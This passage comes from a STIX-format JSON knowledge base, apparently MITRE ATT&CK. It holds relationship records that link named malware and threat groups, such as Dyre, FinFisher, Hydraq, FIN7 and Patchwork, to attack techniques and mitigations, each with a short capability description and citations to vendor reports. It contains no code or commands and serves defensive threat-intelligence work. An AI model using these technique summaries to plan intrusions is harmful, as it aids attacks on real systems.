            "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) is capable of executing commands and spawning a reverse shell.(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
            "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:08:35.792Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fada6223-ba24-4c26-aa89-3998f07604f9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After collecting documents from removable media, [Prikormka](https://attack.mitre.org/software/S0113) compresses the collected files, and encrypts it with Blowfish.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:39:23.771Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4ed458b0-e5cd-48c7-baba-a33ca84a8738",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) executes payloads using the Windows API call CreateProcessW().(Citation: US-CERT Volgmer 2 Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2019-10-15T22:51:02.967Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) extracted documents and bundled them into a RAR archive.(Citation: Symantec Sowbug Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "source_name": "Symantec Sowbug Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:46:16.666Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--47cd42b3-1a19-415f-8522-a601268d8017",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dyre](https://attack.mitre.org/software/S0024) has a command to download and executes additional files.(Citation: Symantec Dyre June 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dyre June 2015",
                    "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"
                }
            ],
            "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-24T23:21:07.861Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3f954be4-205c-4cec-92f9-36715e204a49",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                },
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.844Z",
            "created": "2017-05-31T21:33:27.076Z"
        },
        {
            "id": "relationship--4d0ea359-36b3-46f8-818a-5aaff3de574a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) injects itself into various processes depending on whether it is low integrity or high integrity.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T16:25:53.814Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f7484ee2-6d98-4f5b-8788-2cf1675b349d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) recursively searches through directories for files.(Citation: Talos Smoke Loader July 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-06-24T19:07:12.564Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--935f8b6e-cd74-46c4-9a74-f763b4f13955",
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            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor services.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.696Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2019-04-19T18:36:31.927Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
            "relationship_type": "uses",
            "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html",
                    "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.",
                    "source_name": "Villeneuve 2014"
                }
            ],
            "description": "(Citation: Villeneuve 2014)",
            "type": "relationship",
            "modified": "2019-03-25T16:51:54.123Z",
            "created": "2017-05-31T21:33:27.047Z"
        },
        {
            "id": "relationship--26352538-769c-42c0-9e38-0338c5891432",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) modifies the time of a file as specified by the control server.(Citation: McAfee Bankshot)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-16T16:41:06.916Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--305ecc72-e820-44cb-ab52-593ccca814ff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) can execute commands using cmd.exe.(Citation: Zscaler Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:16:02.231Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2c158663-599b-45a8-b946-6d545206428d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to create a remote shell and execute specified commands.(Citation: Lotus Blossom Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lotus Blossom Dec 2015",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T17:06:41.680Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--63de6e73-7ec5-4cae-8d08-9c64428b52bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481",
            "relationship_type": "uses",
            "target_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
                }
            ],
            "description": "(Citation: Proofpoint TA459 April 2017)",
            "type": "relationship",
            "modified": "2019-03-25T17:00:47.418Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) has used [Tasklist](https://attack.mitre.org/software/S0057) to get information on processes.(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.521Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--a5a72971-e4a1-494f-8e12-280ed06fe7b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--54e8722d-2faf-4b1b-93b6-6cbf9551669f",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9",
            "type": "relationship",
            "modified": "2020-09-16T16:12:48.245Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3c3f26b3-d676-4e17-adca-2a8ea4643148",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2021-04-12T18:27:52.602Z",
            "created": "2017-05-31T21:33:27.025Z"
        },
        {
            "id": "relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about running processes.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T16:17:38.050Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--289e01df-60e6-4eee-830e-9d742ac10c86",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors spawned shells on remote systems on a victim network to execute commands.(Citation: Dell TG-1314)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.secureworks.com/resources/blog/living-off-the-land/",
                    "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.",
                    "source_name": "Dell TG-1314"
                }
            ],
            "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:58:20.958Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--c6a4b8e6-eaf7-4b56-af0a-ba0fd070e97b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) apparently altered [NDiskMonitor](https://attack.mitre.org/software/S0272) samples by adding four bytes of random letters in a likely attempt to change the file hashes.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.863Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8beb37e3-5cf0-4229-ae27-186a37133521",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can list file and directory information.(Citation: Palo Alto Networks BBSRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.398Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--782da600-bc3b-4dae-89d1-4a79522bed02",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware communicates with its C2 server via HTTPS.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
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            "type": "relationship",
            "modified": "2020-02-10T20:49:13.024Z",
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                {
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                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) used SQL scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: FireEye FIN7 Aug 2018)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
                },
                {
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                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."
                },
                {
                    "source_name": "FireEye FIN7 Aug 2018",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
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            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can list directory contents.(Citation: FireEye Periscope March 2018)",
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                    "source_name": "FireEye Periscope March 2018"
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            "description": "The [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) uploader or malware the uploader uses <code>command</code> to delete the RAR archives after they have been exfiltrated.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
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            ],
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            "description": "[Koadic](https://attack.mitre.org/software/S0250) can retrieve the current content of the user clipboard.(Citation: Github Koadic)",
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            ],
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                {
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            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
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            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to delete local files.(Citation: FireEye Periscope March 2018)",
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                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
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            ],
            "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-04-22T23:25:33.587Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "relationship_type": "uses",
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            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
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            "modified": "2021-03-29T19:54:46.313Z",
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        {
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            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can delete files.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
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            "created": "2018-04-18T17:59:24.739Z"
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            "description": "[Bankshot](https://attack.mitre.org/software/S0239) deletes all artifacts associated with the malware from the infected machine.(Citation: US-CERT Bankshot Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.877Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[JPIN](https://attack.mitre.org/software/S0201) can list running services.(Citation: Microsoft PLATINUM April 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
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            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-16T16:57:38.941Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
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            "description": "[JPIN](https://attack.mitre.org/software/S0201) can lower security settings by changing Registry keys.(Citation: Microsoft PLATINUM April 2016)",
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            ],
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                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
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            ],
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            "type": "relationship",
            "modified": "2020-08-11T19:44:31.594Z",
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        {
